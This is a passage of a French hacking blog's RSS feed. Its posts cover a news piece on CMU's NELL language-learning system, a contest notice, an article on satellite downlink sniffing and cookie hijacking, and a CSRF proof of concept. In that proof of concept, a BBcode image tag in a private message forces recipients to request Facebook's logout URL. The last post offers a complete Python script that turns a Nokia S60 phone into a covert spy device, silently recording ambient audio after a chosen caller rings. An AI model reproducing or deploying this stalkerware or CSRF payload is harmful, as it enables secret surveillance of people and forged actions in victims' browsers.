<li><a href="http://www.internetactu.net/2010/09/27/pdlt-nous-sommes-notre-premiere-technologie/" target="_blank">&#8220;Nous sommes notre propre technologie&#8221;</a><a href="http://www.internetactu.net/2010/05/05/lift10-connecting-people/" target="_blank"><br />
</a></li>
</ul>
</div>
</div>
<input id="meme_sujet_elem_id" type="hidden" value="1426969" />
<div id="pave_meme_sujet_hidden" style="display: block;">
<div id="pave_meme_sujet_hidden_1241569" style="display: block;">
<input id="nb_elem_1241569" type="hidden" value="7" />
<input id="liste_visuels_1241569" type="hidden" value="1422756,1419056,1415781,1412774,1409669,1406563,1403627" />
<input id="nb_elem_ouverts_1241569" type="hidden" value="7" />
<div id="meme_sujet_1241569" class="boxMemeSujet">
<div id="meme_sujet_titre_1241569" class="boxMemeSujetTitle">Sur le même sujet</div>
<div id="elem_meme_sujet_1241569_1422756" class="rlvd_pave_first_elem_img meme_sujet_elem_0">
<div id="visuel_1241569_1422756" class="container_image" style="display: block;">
<div class="image">
<div class="crop"><a href="http://www.lemonde.fr/technologies/article/2010/10/08/pourquoi-l-internet-n-a-t-il-pas-change-la-politique_1422756_651865.html#ens_id=1241569"><img title="Des internautes chinois, en janvier 2009 à Shanghai. | REUTERS/Aly Song" src="http://s1.lemde.fr/image/2009/03/31/155x0/1174664_3_9e6f_des-internautes-chinois-en-janvier-2009-a.jpg" border="0" alt="Des internautes chinois, en janvier 2009 à Shanghai." /></a></div>
</div>
</div>
<p><span class="type">Entretien</span> <a href="http://www.lemonde.fr/technologies/article/2010/10/08/pourquoi-l-internet-n-a-t-il-pas-change-la-politique_1422756_651865.html#ens_id=1241569">Pourquoi l’Internet n’a-t-il pas changé la politique ?</a></div>
<div id="elem_meme_sujet_1241569_1419056" class="rlvd_pave_elem meme_sujet_elem_1">
<div id="visuel_1241569_1419056" class="container_image" style="display: none;">
<div class="image">
<div class="crop"><a href="http://www.lemonde.fr/technologies/article/2010/10/01/troisieme-age-et-nouvelles-technologies-un-rendez-vous-manque_1419056_651865.html#ens_id=1241569"><img title="Démonstration d'un ordinateur tactile au Salon des seniors à Paris en mars 2008. | AFP/STEPHANE DE SAKUTIN" src="http://s2.lemde.fr/image/2008/08/02/155x0/1079842_3_1654_demonstration-d-un-ordinateur-tactile-au-salon.jpg" border="0" alt="Démonstration d'un ordinateur tactile au Salon des seniors à Paris en mars 2008." /></a></div>
</div>
</div>
<p><span class="type">Zoom</span> <a href="http://www.lemonde.fr/technologies/article/2010/10/01/troisieme-age-et-nouvelles-technologies-un-rendez-vous-manque_1419056_651865.html#ens_id=1241569">Troisième âge et nouvelles technologies, un rendez-vous manqué</a></div>
<div id="elem_meme_sujet_1241569_1415781" class="rlvd_pave_elem meme_sujet_elem_2"><span class="type">Zoom</span> <a href="http://www.lemonde.fr/technologies/article/2010/09/24/la-montee-de-la-consommation-collaborative_1415781_651865.html#ens_id=1241569">La montée de la consommation collaborative</a></div>
<div id="elem_meme_sujet_1241569_1412774" class="rlvd_pave_elem meme_sujet_elem_3"><span class="type">Zoom</span> <a href="http://www.lemonde.fr/technologies/article/2010/09/17/quelques-defis-pour-la-prochaine-decennie_1412774_651865.html#ens_id=1241569">Quelques défis pour la prochaine décennie</a></div>
<div id="elem_meme_sujet_1241569_1409669" class="rlvd_pave_elem meme_sujet_elem_4"><span class="type">Entretien</span> <a href="http://www.lemonde.fr/technologies/article/2010/09/10/le-web-ne-desocialise-pas-plus-qu-il-n-hypersocialise_1409669_651865.html#ens_id=1241569">&#8220;Le Web ne désocialise pas plus qu&#8217;il n&#8217;hypersocialise&#8221;</a></div>
<div id="elem_meme_sujet_1241569_1406563" class="rlvd_pave_elem meme_sujet_elem_5"><span class="type">Zoom</span> <a href="http://www.lemonde.fr/technologies/article/2010/09/03/technostalgie-ou-pas_1406563_651865.html#ens_id=1241569">Technostalgie… ou pas</a></div>
<div id="elem_meme_sujet_1241569_1403627" class="rlvd_pave_elem meme_sujet_elem_6"><span class="type">Eclairage</span> <a href="http://www.lemonde.fr/technologies/article/2010/08/27/ce-qu-il-y-a-de-bon-dans-la-deconnexion_1403627_651865.html#ens_id=1241569">Ce qu’il y a de bon dans la déconnexion</a></div>
</div>
</div>
</div>
</div>
<p>L&#8217;article commence par rappeler que si l&#8217;on donne à un ordinateur une  tâche qui est clairement définie – comme gagner aux échecs ou prédire  le temps qu&#8217;il fera demain – la machine dépasse l&#8217;homme de manière  presque systématique. Mais quand les problèmes comportent des nuances et  des ambiguïtés, ou qu&#8217;ils exigent de combiner plusieurs sources  d&#8217;information, les ordinateurs n&#8217;égalent pas l&#8217;intelligence humaine.</p>
<p>Parmi ces problèmes compliqués à résoudre pour l&#8217;ordinateur, il y a  évidemment la compréhension du langage. Une des raisons de la complexité  qu&#8217;il y a à comprendre le langage est que le sens des mots et des  phrases ne dépend pas seulement de leur contexte, mais aussi d&#8217;une  connaissance que les êtres humains acquièrent au fil de leur vie.</p>
<p>Or, nous apprend l&#8217;article, depuis le début de l&#8217;année, une équipe de chercheurs de l&#8217;université de <a class="listLink" href="http://www.lemonde.fr/sujet/43f7/carnegie-mellon.html">Carnegie Mellon</a> est en train d&#8217;élaborer un système informatique qui tente d&#8217;apprendre  la sémantique à la manière d&#8217;un être humain, c&#8217;est-à-dire <em>&#8220;de manière cumulative, et sur le long terme&#8221;</em>, comme l&#8217;explique <a class="listLink" href="http://www.lemonde.fr/sujet/0552/tom-mitchell.html">Tom Mitchell</a>,  qui dirige le projet. Cette machine – qui calcule 24 heures sur 24 et 7  jours sur 7 – est abritée dans le centre informatique de cette  université de Pittsburgh. Les chercheurs l&#8217;ont doté d&#8217;une connaissance  de base et, depuis 10 mois, elle est lâchée sur le web avec la mission  de s&#8217;y instruire par elle-même.</p>
<p>Ce système s&#8217;appelle <a href="http://rtw.ml.cmu.edu/rtw/" target="_blank">NELL</a>, acronyme de Never ending <a class="listLink" href="http://www.lemonde.fr/sujet/ac02/language-learning.html">Language Learning</a> System. Et d&#8217;après le journaliste du New York Times, <a class="listLink" href="http://www.lemonde.fr/sujet/024e/steve-lhor.html">Steve Lhor</a>,  jusqu&#8217;ici, les résultats sont impressionnants. NELL scanne des millions  de pages Web dont il fait des textes-modèles qu&#8217;il utilise pour  apprendre des faits. En quelques mois, il a appris 390 000 faits, avec  une exactitude estimée à 87 %. Ces faits sont regroupés dans différentes  catégories sémantiques : villes, entreprises, équipes de sport,  acteurs, universités, plantes, et 274 autres. Dans chaque catégorie, les  faits appris sont des choses comme <em>&#8220;San Francisco est une ville&#8221;</em> ou <em>&#8220;le tournesol est une plante&#8221;</em>.</p>
<p>NELL apprend aussi des faits qui sont des relations entre les membres de deux catégories différentes. Par exemple : <em>&#8220;Peyton Manning est un joueur de foot&#8221;. &#8220;Les <a class="listLink" href="http://www.lemonde.fr/sujet/9969/colts-d-indianapolis.html">Colts d&#8217;Indianapolis</a> est une équipe de foot&#8221;</em>. En scannant des textes-modèles, NELL peut en déduire avec un fort taux de probabilité que <a class="listLink" href="http://www.lemonde.fr/sujet/7c5a/peyton-manning.html">Peyton Manning</a> joue pour les Colts d&#8217;Indianapolis – même s&#8217;il n&#8217;a jamais lu que Peyton Manning joue pour les Colts. <em>&#8220;Jouer pour&#8221;</em> est une relation, il en existe 280 autres dans le programme. Le nombre  de catégories et de relations a plus que doublé depuis le début de  l&#8217;année, et il est en expansion constante.</p>
<p>Les faits appris sont continuellement ajoutés dans la base de données  de NELL, que les chercheurs ont appelée base de connaissance. Selon Tom  Mitchell, plus le nombre de faits appris sera important, plus il sera  possible d&#8217;affiner l&#8217;algorithme d&#8217;apprentissage de NELL, de sorte qu&#8217;il  augmente son efficacité et la précision de ses recherches de faits sur  le Web.</p>
<p><strong>BASE DE CONNAISSANCE</strong></p>
<p>Les chercheurs ont commencé par construire une base de connaissance,  remplissant chaque type de catégorie ou de relation avec une quinzaine  d&#8217;exemples avérés. Dans la catégorie des émotions, par exemple : <em>&#8220;la colère est une émotion&#8221;</em>, <em>&#8220;la félicité est une émotion&#8221;</em>,  et une douzaine d&#8217;autres faits. Ensuite, NELL part au travail. Ses  outils incluent des programmes qui extraient et classifient des phrases  rencontrées sur le Web, des programmes qui cherchent des modèles et des  corrélations, et des programmes qui apprennent les règles.</p>
<p>Par exemple, quand le système lit <em>&#8220;Mont Ventoux&#8221;</em> (j&#8217;ai francisé), il étudie la structure : deux mots, chacun commençant par une majuscule, et le premier mot est <em>&#8220;Mont&#8221;</em>.  Cette structure suffit à rendre probable le fait que le &#8220;Mont Ventoux&#8221;  soit une montagne. Mais NELL lit aussi de plusieurs manières. Il  exploitera aussi des phrases qui entourent<em> &#8220;Mont Ventoux&#8221;</em> et des syntagmes nominaux qui reviennent dans un contexte semblable. Par exemple <em>&#8220;J&#8217;ai grimpé X&#8221;</em>.</p>
<p>NELL, explique Tom Mitchell, est conçu pour être capable d&#8217;examiner  des mots dans des contextes différents, en parcourant une échelle de  règles lui servant à résoudre l&#8217;ambiguïté. Par exemple, la phrase &#8220;J&#8217;ai  grimpé X&#8221;, apparaît souvent suivie du nom d&#8217;une montagne. Mais quand  NELL lit <em>&#8220;J&#8217;ai grimpé les escaliers&#8221;</em>, il a d&#8217;abord appris avec une quasi-certitude que le mot <em>&#8220;escaliers&#8221;</em> appartient à la catégorie <em>&#8220;élément de construction&#8221;</em>. Il se corrige à mesure qu&#8217;il a plus d&#8217;information, à mesure qu&#8217;il a plus appris.</p>
<div class="pageNavigation">1 | <a href="http://www.lemonde.fr/technologies/article/2010/10/15/quand-la-machine-apprend-le-langage_1426969_651865_1.html">2</a> | <a href="http://www.lemonde.fr/technologies/article/2010/10/15/quand-la-machine-apprend-le-langage_1426969_651865_1.html">suivant <img src="http://medias.lemonde.fr/mmpub/img/icn/fl-rg.gif" border="0" alt="" /></a></div>
<div class="lien">
<div class="author"><strong>Xavier de la Porte </strong></div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://art.hackbbs.org/?feed=rss2&amp;p=293</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>[POC] CSRF dans un BBcode</title>
		<link>http://art.hackbbs.org/?p=261</link>
		<comments>http://art.hackbbs.org/?p=261#comments</comments>
		<pubDate>Wed, 13 Oct 2010 22:45:19 +0000</pubDate>
		<dc:creator>Shiney</dc:creator>
				<category><![CDATA[Divers]]></category>

		<guid isPermaLink="false">http://art.hackbbs.org/?p=261</guid>
		<description><![CDATA[Bonjours à tous, Aujourd&#8217;hui, nous allons exploiter une faille de type csrf ( Cross-site request forgery ) . Ce type d&#8217;attaque permet à un attaquant de faire exécuter des requêtes spécialement forgées  via le navigateur d&#8217;une victime. Dans cet article, nous prendrons pour exemple un forum phpBB3 et tenterons de déconnecter de facebook la personne [...]]]></description>
			<content:encoded><![CDATA[<p>Bonjours à tous,</p>
<p>Aujourd&#8217;hui, nous allons exploiter une faille de type csrf ( Cross-site request forgery ) . Ce type d&#8217;attaque permet à un attaquant de faire exécuter des requêtes spécialement forgées  via le navigateur d&#8217;une victime.</p>
<p>Dans cet article, nous prendrons pour exemple un forum phpBB3 et tenterons de déconnecter de facebook la personne qui reçoit notre message privé.</p>
<p>Le lien suivant permet de se déconnecter de facebook:  http://m.facebook.com/logout.php</p>
<p>Nous allons donc sur notre site phpBB3 envoyer un message privé à notre victime (moi même dans notre exemple) et allons essayer de lui faire exécuter notre url  en la mettant dans un BBcode image: [img]http://m.facebook.com/logout.php[img].</p>
<p><a href="http://img10.hostingpics.net/pics/532324attaquant_csrf_teste_1.png"><img src="http://img10.hostingpics.net/pics/532324attaquant_csrf_teste_1.png" alt="" /></a></p>
<p>Notre victime est connecté sur facebook:<br />
<a href="http://img10.hostingpics.net/pics/879747connecte.png"><img src="http://img10.hostingpics.net/pics/879747connecte.png" alt="" /></a></p>
<p>Elle recoit notre message:</p>
<p><a href="http://img10.hostingpics.net/pics/280454victime___csrf_teste_1.png"><img src="http://img10.hostingpics.net/pics/280454victime___csrf_teste_1.png" alt="" /></a></p>
<p>Et elle se retrouve déconnecté de facebook:</p>
<p><a href="http://img10.hostingpics.net/pics/716930deconnection.png"><img src="http://img10.hostingpics.net/pics/716930deconnection.png" alt="" /></a></p>
<p>Dans cette démonstration, l&#8217;exploitation de la csrf est limité à des méthodes GET. Cependant, elle est très facile à mettre en œuvre et nous permet d&#8217;exécuter des requêtes avec les cookies de la victime. Le BBcode est extrêmement répandu notamment dans les forum, elles peuvent apparaitre dans la signature d&#8217;un utilisateur par exemple et ainsi toucher un grand nombre de visiteurs en toute discrétion.  Enfin, même si des filtres sont mis en place pour empêcher d&#8217;exploiter les csrf dans des BBcodes images, il est toujours possible de l&#8217;exploiter même en y appliquant le lien d&#8217;une image.</p>
<p>Shiney</p>
]]></content:encoded>
			<wfw:commentRss>http://art.hackbbs.org/?feed=rss2&amp;p=261</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Concours | Prologin</title>
		<link>http://art.hackbbs.org/?p=262</link>
		<comments>http://art.hackbbs.org/?p=262#comments</comments>
		<pubDate>Wed, 13 Oct 2010 13:12:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Challenges]]></category>
		<category><![CDATA[Nouvelles du net]]></category>
		<category><![CDATA[Programmation]]></category>

		<guid isPermaLink="false">http://art.hackbbs.org/?p=262</guid>
		<description><![CDATA[En route vers Prologin 2011 ! L&#8217;édition 2011 a enfin débuté, alors ne perdez plus de temps, à vos claviers ! Vous avez jusqu&#8217;au Dimanche 2 janvier 2011 pour valider le questionnaire de sélection. Le Concours National d&#8217;Informatique Prologin organise chaque année un concours destiné aux étudiants de vingt ans et moins. Leur capacité à [...]]]></description>
			<content:encoded><![CDATA[<div class="part">
<h1>En route vers Prologin 2011 !</h1>
<p>L&#8217;édition 2011 a enfin débuté, alors ne perdez plus de temps, à vos claviers !<br />
Vous avez jusqu&#8217;au Dimanche 2 janvier 2011 pour valider le <strong><a href="http://www.prologin.org/contest/qcm/2011">questionnaire de sélection</a></strong>.</p>
<p style="text-align: center;"><a href="http://www.prologin.org/contest/qcm/2011"><img style="border: 3px solid darkgrey;" title="Inscription à Prologin 2011" src="http://www.prologin.org/files/2011.png" alt="Inscription à Prologin 2011" /></a></p>
</div>
<div class="part">
<h1>Le Concours National d&#8217;Informatique</h1>
<p><span style="float: left; margin: 10px;"><img src="http://www.prologin.org/sites/default/files/concours.jpg" alt="Le concours Prologin" /></span></p>
<p class="justify">Prologin  organise chaque année un concours destiné aux étudiants de vingt ans et  moins. Leur capacité à résoudre des problèmes d&#8217;algorithmique y est  mise à l&#8217;épreuve au cours de trois étapes : la sélection, les  demi-finales ou épreuves régionales, et la finale. Cette dernière est  une rencontre atypique de trente-six heures, au cours desquelles les  participants doivent faire face à un sujet d&#8217;intelligence artificielle. À  l&#8217;issue de l&#8217;épreuve, un tournoi confrontant leurs réalisations entre  elles détermine le classement !</p>
</div>
<p><a href="http://www.prologin.org/">Accueil | Prologin</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://art.hackbbs.org/?feed=rss2&amp;p=262</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Le hack des satellites, un classique qui revient à la mode – CNIS mag</title>
		<link>http://art.hackbbs.org/?p=259</link>
		<comments>http://art.hackbbs.org/?p=259#comments</comments>
		<pubDate>Sun, 26 Sep 2010 18:41:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Culture]]></category>
		<category><![CDATA[Réseau]]></category>
		<category><![CDATA[Systèmes]]></category>
		<category><![CDATA[Tutoriaux]]></category>

		<guid isPermaLink="false">http://art.hackbbs.org/?p=259</guid>
		<description><![CDATA[Le hack des satellites, un classique qui revient à la mode Actualités &#8211; Hack &#8211; Posté on 18 fév 2009 at 8:43 L’écoute des liaisons montantes des satellites de télédiffusion, le piratage des cartes de déchiffrement (les infâmes codes season qui permettaient d’accéder gratuitement au réseau Sky), tout çà est assez classique et presque banal. [...]]]></description>
			<content:encoded><![CDATA[<h1>Le hack des satellites, un classique qui revient à la mode</h1>
<div class="date"><span style="font-size: 12px;"> <a title="Voir tous les articles dans Actualités" rel="category tag" href="http://www.cnis-mag.com/category/actualite">Actualités</a> &#8211;  <a title="Voir tous les articles dans Hack" rel="category tag" href="http://www.cnis-mag.com/category/actualite/hack">Hack</a> </span> &#8211; Posté on 18 fév 2009 at 8:43</div>
<p><img class="alignleft size-full wp-image-1037" title="eutelsat" src="http://cnis-mag.com/wp-content/uploads/2009/06/eutelsat.jpg" alt="eutelsat" width="308" height="214" />L’écoute  des liaisons montantes des satellites de télédiffusion, le piratage des  cartes de déchiffrement (les infâmes codes season qui permettaient  d’accéder gratuitement au réseau Sky), tout çà est assez classique et  presque banal.<br />
L’attaque en déni de service à la réception demande un peu plus  d’inventivité. Le hold-up de satellite par « écrasement » (hétérodynage,  disent les spécialistes) de l’uplink officiel exige également quelques  moyens peu courants, mais que toute nation se doit de posséder en cas de  conflit.<br />
Le « radio squatting » de canaux satellites (à l’insu du propriétaire de  l’oiseau), voilà qui est encore moins banal. Il consiste à utiliser,  sans débourser un centime, les fréquences laissées libres sur le  transpondeur embarqué. Encore faut-il posséder l’équivalent d’une  station terrestre pour atteindre le véhicule en orbite géosynchrone.  Mais le meilleur du hacking semble bien être l’espionnage des liaisons  descendantes des réseaux informatiques véhiculés soit par Vsat, soit par  « broadcast général et accès séquentiel » tel que le pratiquent les  fournisseurs d’accès Internet par satellite.</p>
<p>Tout ceci fera l’objet d’une causerie d’Adam Laurie, le patron du  Bunker, pourfendeur de RFID, à l’occasion de la prochaine BlackHat de  Washington. Sam Goodin, du Reg, signale également l’événement et  rappelle que déjà, à l’occasion de la dernière Hack in the Box 2008,  trois chercheurs Jim Geovedi, Raditya Iryandi et Anthony Zboralski,  avaient décrit comment squatter un canal inutilisé sur un satellite de  retransmission civile ou, -technique bien plus simple et efficace-  comment « planter » ledit réseau en lançant une attaque en déni de  service purement radioélectrique côté réception. Il faut admettre que  cette forme d’attaque brutale ou de wardriving suivi d’une injection de «  rogue station » dépasse quelque peu en moyens techniques ce qu’il est  nécessaire de posséder dans le domaine du Wifi. Mais la chose ne  présente aucune difficulté insurmontable pour un bon radioélectronicien.</p>
<p>Mais revenons à Laurie. Son hack est diablement intéressant pour  plusieurs raisons. En premier lieu, il ne s’attaque qu’au contenu des  liaisons descendantes. De ce fait, il peut se contenter d’utiliser un  simple démodulateur et une antenne offset tout à fait classique qui ne  dépare pas dans le paysage urbain moderne. C’est un détail important.  Car le « piratage de canal » suggéré par l’étude de  Geovedi-Iryandi-Zboralski nécessite une antenne relativement « pointue »  et présentant un gain énorme… donc une taille proportionnelle au gain  espéré. Un réflecteur parabolique de 2 à 4 mètres ailleurs que sur le  toit d’un hôtel passe rarement inaperçu. Ceci sans mentionner les  considérations économiques : une station d’attaque devant émettre coûte  plusieurs milliers d’euros, un système d’écoute passif peut être acquis  pour une cinquantaine d’euros, neuf, dans n’importe quelle grande  surface de bricolage, au rayon « antennes et TV satellite ».<br />
Comble de la simplicité, les démodulateurs modernes possèdent désormais  tous une interface Ethernet, et bien souvent un firmware à base de Linux  embarqué. Il n’est donc plus nécessaire de s’inquiéter d’éventuelles  contraintes matérielles : même sans fer à souder, il est aujourd’hui  possible de voir passer les requêtes Gmail ou les navigations Web qui  passent par les « downlink » grand public. Ce n’est plus qu’une question  de connaissance des sniffers en vogue et éventuellement de quelques  programmes de déchiffrement.</p>
<p>Le hack des satellites est un vieux mythe de la SF moderne. L’un des  premiers auteurs à en avoir mentionné quelques aperçus techniques  plausibles était Jacques Vallée, dans son roman Alintel. Déjà, à  l’époque, l’écoute des « uplink » était un sport pour quelques rares  hackers travaillant dans le domaine de l’analogique. Après le petit  exercice de vulgarisation auquel va se mener Adam Laurie –et compte tenu  de l’acharnement de ce dernier à fournir l’intégralité de ses outils en  open source- il y a fort à parier que les adeptes du wardriving spatial  vont se multiplier. Insistons toutefois sur deux ou trois petits  détails qui pourraient tempérer les ardeurs de certains. Les « downlink  Internet », Vsat mis à part, ne sont jamais qu’une forme plus rapide du  système pseudo-interactif Antiope (les informations videotext diffusées  dans l’espace de synchro des trames de la télévision terrestre). Les  données descendantes de centaines d’internautes sont expédiées «  pêle-mêle » depuis le satellite dans une sorte de mode broadcast  légèrement redondant. Seul un identifiant permet à chacun de ne filtrer  que ce qui l’intéresse… mais tout le monde reçoit les informations de  tout le monde. Ce qui implique qu’il faille sérieusement trier ce que  l’on recherche à l’arrivée.</p>
<p>Autre problème, il est très difficile –mais pas impossible-  d’effectuer une attaque par « cookie hijacking » pour récupérer, par  exemple, une interface Gmail. Tout l’art est de pouvoir atteindre la  station de travail, et, en premier lieu, de la repérer et de la  surveiller par le biais de sa voie « montante ». Cette voie expédie les  ordres vers les proxys de l’opérateur satellite, et est généralement  constituée d’une simple liaison IP par RTC ou par ADSL. Ces « voies  montantes » sont bidirectionnelles, et donc susceptibles d’attaques par  injection. La surveillance de l’adresse IP fait le reste… ou presque.</p>
<p><a href="http://www.cnis-mag.com/le-hack-des-satellites-un-classique-qui-revient-a-la-mode.html">Le hack des satellites, un classique qui revient à la mode &#8211; CNIS mag</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://art.hackbbs.org/?feed=rss2&amp;p=259</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Transformer un Nokia S60 en téléphone espion</title>
		<link>http://art.hackbbs.org/?p=254</link>
		<comments>http://art.hackbbs.org/?p=254#comments</comments>
		<pubDate>Wed, 01 Sep 2010 16:41:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Divers]]></category>
		<category><![CDATA[Réseau]]></category>
		<category><![CDATA[nokia]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[s60]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[spy]]></category>
		<category><![CDATA[spy phone]]></category>

		<guid isPermaLink="false">http://art.hackbbs.org/?p=254</guid>
		<description><![CDATA[Voici un script python pour transformer en téléphone espion les nokia qui seront compatible (S60). Le principe est interessant, et ce script vous sera peut être utile pour vous lancer dans ce type de développement ^^ Une fois installé, ce script répond à un appel et enregistre le bruit ambiant sans intervention de la victime. [...]]]></description>
			<content:encoded><![CDATA[<p>Voici un script python pour transformer en téléphone espion les nokia qui seront compatible (S60). Le principe est interessant, et ce script vous sera peut être utile pour vous lancer dans ce type de développement ^^</p>
<p>Une fois installé, ce script répond à un appel et enregistre le bruit ambiant sans intervention de la victime.</p>
<blockquote><p>import appuifw</p>
<p>import e32<br />
import logs<br />
import audio<br />
import telephone<br />
from e32db import format_time<br />
from time import *</p>
<p>def recording():<br />
try:<br />
global S<br />
formatted_time = format_time(time()).replace(&#8216;:&#8217;,&#8221;).replace(&#8216;/&#8217;,&#8221;).replace(&#8216; &#8216;,&#8221;)<br />
filename = u&#8217;e:\\kuku_recording_&#8217; + formatted_time + &#8216;.wav&#8217;<br />
S=audio.Sound.open(filename)<br />
S.record()<br />
print u&#8217;Recording &#8216; + filename<br />
except:<br />
print &#8216;Error.&#8217;</p>
<p>def handleCall((callState, number)):<br />
#callerNum = c.get()<br />
global callerOK<br />
global caller</p>
<p>if callState == telephone.EStatusRinging :<br />
if number == caller :<br />
print u&#8217;Caller (&#8216; + number + &#8216;) recognized, waiting for hanging up&#8230;&#8217;<br />
callerOK = 1<br />
else :<br />
print u&#8217;(&#8216; + number + &#8216;) unknown caller.&#8217;<br />
callerOK = 0<br />
elif callState == telephone.EStatusDisconnecting :<br />
print u&#8217;Disconnecting&#8230;&#8217;<br />
if callerOK == 1 :<br />
recording()</p>
<p>def closing():<br />
try:<br />
global S<br />
S.stop()<br />
S.close()<br />
print u&#8217;Stopped.&#8217;<br />
except:<br />
print u&#8217;Nothing to stop.&#8217;</p>
<p>def quit():<br />
script_lock.signal()<br />
# appuifw.app.set_exit()</p>
<p>appuifw.app.exit_key_handler = quit<br />
appuifw.app.menu = [(u"Stop", closing)]<br />
appuifw.app.title = u&#8217;KuKu!&#8217;<br />
#c = appuifw.Text()<br />
#appuifw.app.body = c</p>
<p>print u&#8217;KuKu! &#8211; (c) J@mBeL.net&#8217;<br />
global caller<br />
caller = appuifw.query(u&#8217;Enter phone number: &#8216;, &#8216;text&#8217;)<br />
telephone.call_state(handleCall)</p>
<p>script_lock = e32.Ao_lock()<br />
script_lock.wait()</p></blockquote>
<p>Pour information, jambelnet à réalisé un mini howto expliquant  comment transformer vos scripts python en application pour symbian OS  (cf http://jambelnet.blogspot.com/search/label/Mobile)</p>
<p>Plus d&#8217;informations à cette adresse: http://jambelnet.blogspot.com/2008/06/spy-phone-python-script-for-s60.html</p>
]]></content:encoded>
			<wfw:commentRss>http://art.hackbbs.org/?feed=rss2&amp;p=254</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	<media:rating>nonadult</media:rating></channel>
</rss>
